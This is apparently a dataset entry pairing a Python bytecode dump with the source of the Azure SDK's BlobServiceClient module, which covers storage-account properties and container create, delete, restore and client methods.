kwargs LOAD_METHOD pop LOAD_CONST 'results_per_page' LOAD_CONST None CALL_METHOD STORE_FAST results_per_page LOAD_GLOBAL functools LOAD_ATTR partial LOAD_FAST self LOAD_ATTR _client LOAD_ATTR service LOAD_ATTR list_containers_segment BUILD_TUPLE LOAD_FAST name_starts_with LOAD_FAST include LOAD_FAST timeout LOAD_CONST ('prefix', 'include', 'timeout') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST command LOAD_GLOBAL ItemPaged LOAD_FAST command LOAD_FAST name_starts_with LOAD_FAST results_per_page LOAD_GLOBAL ContainerPropertiesPaged LOAD_CONST ('prefix', 'results_per_page', 'page_iterator_class') CALL_FUNCTION RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'results_per_page' LOAD_CONST None CALL_METHOD STORE_FAST results_per_page LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout LOAD_GLOBAL functools LOAD_ATTR partial LOAD_FAST self LOAD_ATTR _client LOAD_ATTR service LOAD_ATTR filter_blobs BUILD_TUPLE LOAD_FAST filter_expression LOAD_FAST timeout LOAD_CONST ('where', 'timeout') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST command LOAD_GLOBAL ItemPaged LOAD_FAST command LOAD_FAST results_per_page LOAD_GLOBAL FilteredBlobPaged LOAD_CONST ('results_per_page', 'page_iterator_class') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD get_container_client LOAD_FAST name CALL_METHOD STORE_FAST container LOAD_FAST kwargs LOAD_METHOD setdefault LOAD_CONST 'merge_span' LOAD_CONST True CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout LOAD_FAST container LOAD_ATTR create_container BUILD_TUPLE LOAD_FAST metadata LOAD_FAST public_access LOAD_FAST timeout LOAD_CONST ('metadata', 'public_access', 'timeout') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_FAST container RETURN_VALUE LOAD_FAST self LOAD_METHOD get_container_client LOAD_FAST container CALL_METHOD STORE_FAST container LOAD_FAST kwargs LOAD_METHOD setdefault LOAD_CONST 'merge_span' LOAD_CONST True CALL_METHOD POP_TOP LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD STORE_FAST timeout LOAD_FAST container LOAD_ATTR delete_container BUILD_TUPLE LOAD_FAST lease LOAD_FAST timeout LOAD_CONST ('lease', 'timeout') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_container_client LOAD_FAST new_name CALL_METHOD STORE_FAST renamed_container LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'lease' LOAD_CONST None CALL_METHOD STORE_FAST lease SETUP_EXCEPT to 38 LOAD_FAST lease LOAD_ATTR id LOAD_FAST kwargs LOAD_CONST 'source_lease_id' STORE_SUBSCR POP_BLOCK JUMP_FORWARD to 66 DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST lease LOAD_FAST kwargs LOAD_CONST 'source_lease_id' STORE_SUBSCR POP_EXCEPT JUMP_FORWARD to 66 END_FINALLY SETUP_EXCEPT to 90 LOAD_FAST renamed_container LOAD_ATTR _client LOAD_ATTR container LOAD_ATTR rename LOAD_FAST name BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST renamed_container RETURN_VALUE DUP_TOP LOAD_GLOBAL HttpResponseError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST error POP_TOP SETUP_FINALLY to 118 LOAD_GLOBAL process_storage_error LOAD_FAST error CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST error DELETE_FAST error END_FINALLY POP_EXCEPT JUMP_FORWARD to 132 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'new_name' LOAD_CONST None CALL_METHOD STORE_FAST new_name LOAD_FAST new_name POP_JUMP_IF_FALSE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST '`new_name` is no longer supported.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD get_container_client LOAD_FAST new_name JUMP_IF_TRUE_OR_POP LOAD_FAST deleted_container_name CALL_METHOD STORE_FAST container SETUP_EXCEPT to 84 LOAD_FAST container LOAD_ATTR _client LOAD_ATTR container LOAD_ATTR restore BUILD_TUPLE LOAD_FAST deleted_container_name LOAD_FAST deleted_container_version LOAD_FAST kwargs LOAD_METHOD pop LOAD_CONST 'timeout' LOAD_CONST None CALL_METHOD LOAD_CONST ('deleted_container_name', 'deleted_container_version', 'timeout') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_FAST container RETURN_VALUE DUP_TOP LOAD_GLOBAL HttpResponseError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST error POP_TOP SETUP_FINALLY to 112 LOAD_GLOBAL process_storage_error LOAD_FAST error CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST error DELETE_FAST error END_FINALLY POP_EXCEPT JUMP_FORWARD to 126 END_FINALLY LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 12 LOAD_FAST container LOAD_ATTR name STORE_FAST container_name POP_BLOCK JUMP_FORWARD to 36 DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST container STORE_FAST container_name POP_EXCEPT JUMP_FORWARD to 36 END_FINALLY LOAD_GLOBAL Pipeline LOAD_GLOBAL TransportWrapper LOAD_FAST self LOAD_ATTR _pipeline LOAD_ATTR _transport CALL_FUNCTION LOAD_FAST self LOAD_ATTR _pipeline LOAD_ATTR _impl_policies LOAD_CONST ('transport', 'policies') CALL_FUNCTION STORE_FAST _pipeline LOAD_GLOBAL ContainerClient LOAD_FAST self LOAD_ATTR url LOAD_FAST container_name LOAD_FAST self LOAD_ATTR credential LOAD_FAST self LOAD_ATTR api_version LOAD_FAST self LOAD_ATTR _config LOAD_FAST _pipeline LOAD_FAST self LOAD_ATTR _location_mode LOAD_FAST self LOAD_ATTR _hosts LOAD_FAST self LOAD_ATTR require_encryption LOAD_FAST self LOAD_ATTR encryption_version LOAD_FAST self LOAD_ATTR key_encryption_key LOAD_FAST self LOAD_ATTR key_resolver_function LOAD_CONST ('container_name', 'credential', 'api_version', '_configuration', '_pipeline', '_location_mode', '_hosts', 'require_encryption', 'encryption_version', 'key_encryption_key', 'key_resolver_function') CALL_FUNCTION RETURN_VALUE SETUP_EXCEPT to 12 LOAD_FAST container LOAD_ATTR name STORE_FAST container_name POP_BLOCK JUMP_FORWARD to 36 DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST container STORE_FAST container_name POP_EXCEPT JUMP_FORWARD to 36 END_FINALLY SETUP_EXCEPT to 48 LOAD_FAST blob LOAD_ATTR name STORE_FAST blob_name POP_BLOCK JUMP_FORWARD to 72 DUP_TOP LOAD_GLOBAL AttributeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST blob STORE_FAST blob_name POP_EXCEPT JUMP_FORWARD to 72 END_FINALLY LOAD_GLOBAL Pipeline LOAD_GLOBAL TransportWrapper LOAD_FAST self LOAD_ATTR _pipeline LOAD_ATTR _transport CALL_FUNCTION LOAD_FAST self LOAD_ATTR _pipeline LOAD_ATTR _impl_policies LOAD_CONST ('transport', 'policies') CALL_FUNCTION STORE_FAST _pipeline LOAD_GLOBAL BlobClient LOAD_FAST self LOAD_ATTR url LOAD_FAST container_name LOAD_FAST blob_name LOAD_FAST snapshot LOAD_FAST self LOAD_ATTR credential LOAD_FAST self LOAD_ATTR api_version LOAD_FAST self LOAD_ATTR _config LOAD_FAST _pipeline LOAD_FAST self LOAD_ATTR _location_mode LOAD_FAST self LOAD_ATTR _hosts LOAD_FAST self LOAD_ATTR require_encryption LOAD_FAST self LOAD_ATTR encryption_version LOAD_FAST self LOAD_ATTR key_encryption_key LOAD_FAST self LOAD_ATTR key_resolver_function LOAD_CONST ('container_name', 'blob_name', 'snapshot', 'credential', 'api_version', '_configuration', '_pipeline', '_location_mode', '_hosts', 'require_encryption', 'encryption_version', 'key_encryption_key', 'key_resolver_function') CALL_FUNCTION RETURN_VALUE
import functools import warnings from typing import ( # pylint: disable=unused-import Any, Dict, List, Optional, TypeVar, Union, TYPE_CHECKING, ) from urllib.parse import urlparse from azure.core.exceptions import HttpResponseError from azure.core.paging import ItemPaged from azure.core.pipeline import Pipeline from azure.core.tracing.decorator import distributed_trace from ._shared.base_client import ( StorageAccountHostsMixin, TransportWrapper, parse_connection_str, parse_query, ) from ._shared.models import LocationMode from ._shared.parser import _to_utc_datetime from ._shared.response_handlers import ( return_response_headers, process_storage_error, parse_to_internal_user_delegation_key, ) from ._generated import AzureBlobStorage from ._generated.models import StorageServiceProperties, KeyInfo from ._container_client import ContainerClient from ._blob_client import BlobClient from ._deserialize import service_stats_deserialize, service_properties_deserialize from ._encryption import StorageEncryptionMixin from ._list_blobs_helper import FilteredBlobPaged from ._models import ContainerPropertiesPaged from ._serialize import get_api_version if TYPE_CHECKING: from datetime import datetime from ._shared.models import UserDelegationKey from ._lease import BlobLeaseClient from ._models import ( ContainerProperties, BlobProperties, PublicAccess, BlobAnalyticsLogging, Metrics, CorsRule, RetentionPolicy, StaticWebsite, FilteredBlob, ) ClassType = TypeVar("ClassType") class BlobServiceClient(StorageAccountHostsMixin, StorageEncryptionMixin): """A client to interact with the Blob Service at the account level. This client provides operations to retrieve and configure the account properties as well as list, create and delete containers within the account. For operations relating to a specific container or blob, clients for those entities can also be retrieved using the `get_client` functions. For more optional configuration, please click `here <https://github.com/Azure/azure-sdk-for-python/tree/main/sdk/storage/azure-storage-blob :param str account_url: The URL to the blob storage account. Any other entities included in the URL path (e.g. container or blob) will be discarded. This URL can be optionally authenticated with a SAS token. :param credential: The credentials with which to authenticate. This is optional if the account URL already has a SAS token. The value can be a SAS token string, an instance of a AzureSasCredential or AzureNamedKeyCredential from azure.core.credentials, an account shared access key, or an instance of a TokenCredentials class from azure.identity. If the resource URI already contains a SAS token, this will be ignored in favor of an explicit credential - except in the case of AzureSasCredential, where the conflicting SAS tokens will raise a ValueError. If using an instance of AzureNamedKeyCredential, "name" should be the storage account name, and "key" should be the storage account key. :keyword str api_version: The Storage API version to use for requests. Default value is the most recent service version that is compatible with the current SDK. Setting to an older version may result in reduced feature compatibility. .. versionadded:: 12.2.0 :keyword str secondary_hostname: The hostname of the secondary endpoint. :keyword int max_block_size: The maximum chunk size for uploading a block blob in chunks. Defaults to 4*1024*1024, or 4MB. :keyword int max_single_put_size: If the blob size is less than or equal max_single_put_size, then the blob will be uploaded with only one http PUT request. If the blob size is larger than max_single_put_size, the blob will be uploaded in chunks. Defaults to 64*1024*1024, or 64MB. :keyword int min_large_block_upload_threshold: The minimum chunk size required to use the memory efficient algorithm when uploading a block blob. Defaults to 4*1024*1024+1. :keyword bool use_byte_buffer: Use a byte buffer for block blob uploads. Defaults to False. :keyword int max_page_size: The maximum chunk size for uploading a page blob. Defaults to 4*1024*1024, or 4MB. :keyword int max_single_get_size: The maximum size for a blob to be downloaded in a single call, the exceeded part will be downloaded in chunks (could be parallel). Defaults to 32*1024*1024, or 32MB. :keyword int max_chunk_get_size: The maximum chunk size used for downloading a blob. Defaults to 4*1024*1024, or 4MB. .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_authentication.py :start-after: [START create_blob_service_client] :end-before: [END create_blob_service_client] :language: python :dedent: 8 :caption: Creating the BlobServiceClient with account url and credential. .. literalinclude:: ../samples/blob_samples_authentication.py :start-after: [START create_blob_service_client_oauth] :end-before: [END create_blob_service_client_oauth] :language: python :dedent: 8 :caption: Creating the BlobServiceClient with Azure Identity credentials. """ def __init__( self, account_url, # type: str credential=None, # type: Optional[Union[str, Dict[str, str], AzureNamedKeyCredential, AzureSasCredential, "TokenCredential"]] # pylint: disable=line-too-long **kwargs # type: Any ): try: if not account_url.lower().startswith("http"): account_url = "https://" + account_url except AttributeError: raise ValueError("Account URL must be a string.") parsed_url = urlparse(account_url.rstrip("/")) if not parsed_url.netloc: raise ValueError("Invalid URL: {}".format(account_url)) _, sas_token = parse_query(parsed_url.query) self._query_str, credential = self._format_query_string(sas_token, credential) super(BlobServiceClient, self).__init__( parsed_url, service="blob", credential=credential, **kwargs ) self._client = AzureBlobStorage( self.url, base_url=self.url, pipeline=self._pipeline ) self._client._config.version = get_api_version( kwargs ) # pylint: disable=protected-access self._configure_encryption(kwargs) def _format_url(self, hostname): """Format the endpoint URL according to the current location mode hostname. """ return "{}://{}/{}".format(self.scheme, hostname, self._query_str) @classmethod def from_connection_string( cls, # type: Type[ClassType] conn_str, # type: str credential=None, # type: Optional[Union[str, Dict[str, str], AzureNamedKeyCredential, AzureSasCredential, "TokenCredential"]] # pylint: disable=line-too-long **kwargs # type: Any ): # type: (...) -> ClassType """Create BlobServiceClient from a Connection String. :param str conn_str: A connection string to an Azure Storage account. :param credential: The credentials with which to authenticate. This is optional if the account URL already has a SAS token, or the connection string already has shared access key values. The value can be a SAS token string, an instance of a AzureSasCredential or AzureNamedKeyCredential from azure.core.credentials, an account shared access key, or an instance of a TokenCredentials class from azure.identity. Credentials provided here will take precedence over those in the connection string. If using an instance of AzureNamedKeyCredential, "name" should be the storage account name, and "key" should be the storage account key. :returns: A Blob service client. :rtype: ~azure.storage.blob.BlobServiceClient .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_authentication.py :start-after: [START auth_from_connection_string] :end-before: [END auth_from_connection_string] :language: python :dedent: 8 :caption: Creating the BlobServiceClient from a connection string. """ account_url, secondary, credential = parse_connection_str( conn_str, credential, "blob" ) if "secondary_hostname" not in kwargs: kwargs["secondary_hostname"] = secondary return cls(account_url, credential=credential, **kwargs) @distributed_trace def get_user_delegation_key( self, key_start_time, # type: datetime key_expiry_time, # type: datetime **kwargs # type: Any ): """ Obtain a user delegation key for the purpose of signing SAS tokens. A token credential must be present on the service object for this request to succeed. :param ~datetime.datetime key_start_time: A DateTime value. Indicates when the key becomes valid. :param ~datetime.datetime key_expiry_time: A DateTime value. Indicates when the key stops being valid. :keyword int timeout: The timeout parameter is expressed in seconds. :return: The user delegation key. :rtype: ~azure.storage.blob.UserDelegationKey """ key_info = KeyInfo( start=_to_utc_datetime(key_start_time), expiry=_to_utc_datetime(key_expiry_time), ) timeout = kwargs.pop("timeout", None) try: user_delegation_key = self._client.service.get_user_delegation_key( key_info=key_info, timeout=timeout, **kwargs ) # type: ignore except HttpResponseError as error: process_storage_error(error) return parse_to_internal_user_delegation_key(user_delegation_key) # type: ignore @distributed_trace def get_account_information(self, **kwargs): """Gets information related to the storage account. The information can also be retrieved if the user has a SAS to a container or blob. The keys in the returned dictionary include 'sku_name' and 'account_kind'. :returns: A dict of account information (SKU and account type). :rtype: dict(str, str) .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START get_blob_service_account_info] :end-before: [END get_blob_service_account_info] :language: python :dedent: 8 :caption: Getting account information for the blob service. """ try: return self._client.service.get_account_info(cls=return_response_headers, **kwargs) # type: ignore except HttpResponseError as error: process_storage_error(error) @distributed_trace def get_service_stats(self, **kwargs): """Retrieves statistics related to replication for the Blob service. It is only available when read-access geo-redundant replication is enabled for the storage account. With geo-redundant replication, Azure Storage maintains your data durable in two locations. In both locations, Azure Storage constantly maintains multiple healthy replicas of your data. The location where you read, create, update, or delete data is the primary storage account location. The primary location exists in the region you choose at the time you create an account via the Azure Management Azure classic portal, for example, North Central US. The location to which your data is replicated is the secondary location. The secondary location is automatically determined based on the location of the primary; it is in a second data center that resides in the same region as the primary location. Read-only access is available from the secondary location, if read-access geo-redundant replication is enabled for your storage account. :keyword int timeout: The timeout parameter is expressed in seconds. :return: The blob service stats. :rtype: Dict[str, Any] .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START get_blob_service_stats] :end-before: [END get_blob_service_stats] :language: python :dedent: 8 :caption: Getting service stats for the blob service. """ timeout = kwargs.pop("timeout", None) try: stats = self._client.service.get_statistics( # type: ignore timeout=timeout, use_location=LocationMode.SECONDARY, **kwargs ) return service_stats_deserialize(stats) except HttpResponseError as error: process_storage_error(error) @distributed_trace def get_service_properties(self, **kwargs): """Gets the properties of a storage account's Blob service, including Azure Storage Analytics. :keyword int timeout: The timeout parameter is expressed in seconds. :returns: An object containing blob service properties such as analytics logging, hour/minute metrics, cors rules, etc. :rtype: Dict[str, Any] .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START get_blob_service_properties] :end-before: [END get_blob_service_properties] :language: python :dedent: 8 :caption: Getting service properties for the blob service. """ timeout = kwargs.pop("timeout", None) try: service_props = self._client.service.get_properties( timeout=timeout, **kwargs ) return service_properties_deserialize(service_props) except HttpResponseError as error: process_storage_error(error) @distributed_trace def set_service_properties( self, analytics_logging=None, # type: Optional[BlobAnalyticsLogging] hour_metrics=None, # type: Optional[Metrics] minute_metrics=None, # type: Optional[Metrics] cors=None, # type: Optional[List[CorsRule]] target_version=None, # type: Optional[str] delete_retention_policy=None, # type: Optional[RetentionPolicy] static_website=None, # type: Optional[StaticWebsite] **kwargs ): """Sets the properties of a storage account's Blob service, including Azure Storage Analytics. If an element (e.g. analytics_logging) is left as None, the existing settings on the service for that functionality are preserved. :param analytics_logging: Groups the Azure Analytics Logging settings. :type analytics_logging: ~azure.storage.blob.BlobAnalyticsLogging :param hour_metrics: The hour metrics settings provide a summary of request statistics grouped by API in hourly aggregates for blobs. :type hour_metrics: ~azure.storage.blob.Metrics :param minute_metrics: The minute metrics settings provide request statistics for each minute for blobs. :type minute_metrics: ~azure.storage.blob.Metrics :param cors: You can include up to five CorsRule elements in the list. If an empty list is specified, all CORS rules will be deleted, and CORS will be disabled for the service. :type cors: list[~azure.storage.blob.CorsRule] :param str target_version: Indicates the default version to use for requests if an incoming request's version is not specified. :param delete_retention_policy: The delete retention policy specifies whether to retain deleted blobs. It also specifies the number of days and versions of blob to keep. :type delete_retention_policy: ~azure.storage.blob.RetentionPolicy :param static_website: Specifies whether the static website feature is enabled, and if yes, indicates the index document and 404 error document to use. :type static_website: ~azure.storage.blob.StaticWebsite :keyword int timeout: The timeout parameter is expressed in seconds. :rtype: None .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START set_blob_service_properties] :end-before: [END set_blob_service_properties] :language: python :dedent: 8 :caption: Setting service properties for the blob service. """ if all( parameter is None for parameter in [ analytics_logging, hour_metrics, minute_metrics, cors, target_version, delete_retention_policy, static_website, ] ): raise ValueError( "set_service_properties should be called with at least one parameter" ) props = StorageServiceProperties( logging=analytics_logging, hour_metrics=hour_metrics, minute_metrics=minute_metrics, cors=cors, default_service_version=target_version, delete_retention_policy=delete_retention_policy, static_website=static_website, ) timeout = kwargs.pop("timeout", None) try: self._client.service.set_properties(props, timeout=timeout, **kwargs) except HttpResponseError as error: process_storage_error(error) @distributed_trace def list_containers( self, name_starts_with=None, # type: Optional[str] include_metadata=False, # type: Optional[bool] **kwargs ): """Returns a generator to list the containers under the specified account. The generator will lazily follow the continuation tokens returned by the service and stop when all containers have been returned. :param str name_starts_with: Filters the results to return only containers whose names begin with the specified prefix. :param bool include_metadata: Specifies that container metadata to be returned in the response. The default value is `False`. :keyword bool include_deleted: Specifies that deleted containers to be returned in the response. This is for container restore enabled account. The default value is `False`. .. versionadded:: 12.4.0 :keyword bool include_system: Flag specifying that system containers should be included. .. versionadded:: 12.10.0 :keyword int results_per_page: The maximum number of container names to retrieve per API call. If the request does not specify the server will return up to 5,000 items. :keyword int timeout: The timeout parameter is expressed in seconds. :returns: An iterable (auto-paging) of ContainerProperties. :rtype: ~azure.core.paging.ItemPaged[~azure.storage.blob.ContainerProperties] .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START bsc_list_containers] :end-before: [END bsc_list_containers] :language: python :dedent: 12 :caption: Listing the containers in the blob service. """ include = ["metadata"] if include_metadata else [] include_deleted = kwargs.pop("include_deleted", None) if include_deleted: include.append("deleted") include_system = kwargs.pop("include_system", None) if include_system: include.append("system") timeout = kwargs.pop("timeout", None) results_per_page = kwargs.pop("results_per_page", None) command = functools.partial( self._client.service.list_containers_segment, prefix=name_starts_with, include=include, timeout=timeout, **kwargs ) return ItemPaged( command, prefix=name_starts_with, results_per_page=results_per_page, page_iterator_class=ContainerPropertiesPaged, ) @distributed_trace def find_blobs_by_tags(self, filter_expression, **kwargs): """The Filter Blobs operation enables callers to list blobs across all containers whose tags match a given search expression. Filter blobs searches across all containers within a storage account but can be scoped within the expression to a single container. :param str filter_expression: The expression to find blobs whose tags matches the specified condition. eg. "\"yourtagname\"='firsttag' and \"yourtagname2\"='secondtag'" To specify a container, eg. "@container='containerName' and \"Name\"='C'" :keyword int results_per_page: The max result per page when paginating. :keyword int timeout: The timeout parameter is expressed in seconds. :returns: An iterable (auto-paging) response of BlobProperties. :rtype: ~azure.core.paging.ItemPaged[~azure.storage.blob.FilteredBlob] """ results_per_page = kwargs.pop("results_per_page", None) timeout = kwargs.pop("timeout", None) command = functools.partial( self._client.service.filter_blobs, where=filter_expression, timeout=timeout, **kwargs ) return ItemPaged( command, results_per_page=results_per_page, page_iterator_class=FilteredBlobPaged, ) @distributed_trace def create_container( self, name, # type: str metadata=None, # type: Optional[Dict[str, str]] public_access=None, # type: Optional[Union[PublicAccess, str]] **kwargs ): """Creates a new container under the specified account. If the container with the same name already exists, a ResourceExistsError will be raised. This method returns a client with which to interact with the newly created container. :param str name: The name of the container to create. :param metadata: A dict with name-value pairs to associate with the container as metadata. Example: `{'Category':'test'}` :type metadata: dict(str, str) :param public_access: Possible values include: 'container', 'blob'. :type public_access: str or ~azure.storage.blob.PublicAccess :keyword container_encryption_scope: Specifies the default encryption scope to set on the container and use for all future writes. .. versionadded:: 12.2.0 :paramtype container_encryption_scope: dict or ~azure.storage.blob.ContainerEncryptionScope :keyword int timeout: The timeout parameter is expressed in seconds. :rtype: ~azure.storage.blob.ContainerClient .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START bsc_create_container] :end-before: [END bsc_create_container] :language: python :dedent: 12 :caption: Creating a container in the blob service. """ container = self.get_container_client(name) kwargs.setdefault("merge_span", True) timeout = kwargs.pop("timeout", None) container.create_container( metadata=metadata, public_access=public_access, timeout=timeout, **kwargs ) return container @distributed_trace def delete_container( self, container, # type: Union[ContainerProperties, str] lease=None, # type: Optional[Union[BlobLeaseClient, str]] **kwargs ): """Marks the specified container for deletion. The container and any blobs contained within it are later deleted during garbage collection. If the container is not found, a ResourceNotFoundError will be raised. :param container: The container to delete. This can either be the name of the container, or an instance of ContainerProperties. :type container: str or ~azure.storage.blob.ContainerProperties :param lease: If specified, delete_container only succeeds if the container's lease is active and matches this ID. Required if the container has an active lease. :paramtype lease: ~azure.storage.blob.BlobLeaseClient or str :keyword ~datetime.datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :keyword ~datetime.datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :keyword str etag: An ETag value, or the wildcard character (*). Used to check if the resource has changed, and act according to the condition specified by the `match_condition` parameter. :keyword ~azure.core.MatchConditions match_condition: The match condition to use upon the etag. :keyword int timeout: The timeout parameter is expressed in seconds. :rtype: None .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START bsc_delete_container] :end-before: [END bsc_delete_container] :language: python :dedent: 12 :caption: Deleting a container in the blob service. """ container = self.get_container_client(container) # type: ignore kwargs.setdefault("merge_span", True) timeout = kwargs.pop("timeout", None) container.delete_container( # type: ignore lease=lease, timeout=timeout, **kwargs ) @distributed_trace def _rename_container(self, name, new_name, **kwargs): """Renames a container. Operation is successful only if the source container exists. :param str name: The name of the container to rename. :param str new_name: The new container name the user wants to rename to. :keyword lease: Specify this to perform only if the lease ID given matches the active lease ID of the source container. :paramtype lease: ~azure.storage.blob.BlobLeaseClient or str :keyword int timeout: The timeout parameter is expressed in seconds. :rtype: ~azure.storage.blob.ContainerClient """ renamed_container = self.get_container_client(new_name) lease = kwargs.pop("lease", None) try: kwargs["source_lease_id"] = lease.id # type: str except AttributeError: kwargs["source_lease_id"] = lease try: renamed_container._client.container.rename( name, **kwargs ) # pylint: disable = protected-access return renamed_container except HttpResponseError as error: process_storage_error(error) @distributed_trace def undelete_container( self, deleted_container_name, deleted_container_version, **kwargs ): """Restores soft-deleted container. Operation will only be successful if used within the specified number of days set in the delete retention policy. .. versionadded:: 12.4.0 This operation was introduced in API version '2019-12-12'. :param str deleted_container_name: Specifies the name of the deleted container to restore. :param str deleted_container_version: Specifies the version of the deleted container to restore. :keyword int timeout: The timeout parameter is expressed in seconds. :rtype: ~azure.storage.blob.ContainerClient """ new_name = kwargs.pop("new_name", None) if new_name: warnings.warn("`new_name` is no longer supported.", DeprecationWarning) container = self.get_container_client(new_name or deleted_container_name) try: container._client.container.restore( deleted_container_name=deleted_container_name, # pylint: disable = protected-access deleted_container_version=deleted_container_version, timeout=kwargs.pop("timeout", None), **kwargs ) return container except HttpResponseError as error: process_storage_error(error) def get_container_client(self, container): """Get a client to interact with the specified container. The container need not already exist. :param container: The container. This can either be the name of the container, or an instance of ContainerProperties. :type container: str or ~azure.storage.blob.ContainerProperties :returns: A ContainerClient. :rtype: ~azure.storage.blob.ContainerClient .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START bsc_get_container_client] :end-before: [END bsc_get_container_client] :language: python :dedent: 8 :caption: Getting the container client to interact with a specific container. """ try: container_name = container.name except AttributeError: container_name = container _pipeline = Pipeline( transport=TransportWrapper( self._pipeline._transport ), # pylint: disable = protected-access policies=self._pipeline._impl_policies, # pylint: disable = protected-access ) return ContainerClient( self.url, container_name=container_name, credential=self.credential, api_version=self.api_version, _configuration=self._config, _pipeline=_pipeline, _location_mode=self._location_mode, _hosts=self._hosts, require_encryption=self.require_encryption, encryption_version=self.encryption_version, key_encryption_key=self.key_encryption_key, key_resolver_function=self.key_resolver_function, ) def get_blob_client( self, container, # type: Union[ContainerProperties, str] blob, # type: Union[BlobProperties, str] snapshot=None, # type: Optional[Union[Dict[str, Any], str]] ): """Get a client to interact with the specified blob. The blob need not already exist. :param container: The container that the blob is in. This can either be the name of the container, or an instance of ContainerProperties. :type container: str or ~azure.storage.blob.ContainerProperties :param blob: The blob with which to interact. This can either be the name of the blob, or an instance of BlobProperties. :type blob: str or ~azure.storage.blob.BlobProperties :param snapshot: The optional blob snapshot on which to operate. This can either be the ID of the snapshot, or a dictionary output returned by :func:`~azure.storage.blob.BlobClient.create_snapshot()`. :type snapshot: str or dict(str, Any) :returns: A BlobClient. :rtype: ~azure.storage.blob.BlobClient .. admonition:: Example: .. literalinclude:: ../samples/blob_samples_service.py :start-after: [START bsc_get_blob_client] :end-before: [END bsc_get_blob_client] :language: python :dedent: 12 :caption: Getting the blob client to interact with a specific blob. """ try: container_name = container.name except AttributeError: container_name = container try: blob_name = blob.name except AttributeError: blob_name = blob _pipeline = Pipeline( transport=TransportWrapper( self._pipeline._transport ), # pylint: disable = protected-access policies=self._pipeline._impl_policies, # pylint: disable = protected-access ) return BlobClient( # type: ignore self.url, container_name=container_name, blob_name=blob_name, snapshot=snapshot, credential=self.credential, api_version=self.api_version, _configuration=self._config, _pipeline=_pipeline, _location_mode=self._location_mode, _hosts=self._hosts, require_encryption=self.require_encryption, encryption_version=self.encryption_version, key_encryption_key=self.key_encryption_key, key_resolver_function=self.key_resolver_function, )
data/azure-multiapi-storage-1.2.0/azure/multiapi/storagev2/blob/v2021_08_06/_blob_service_client.py
7,089
9,004
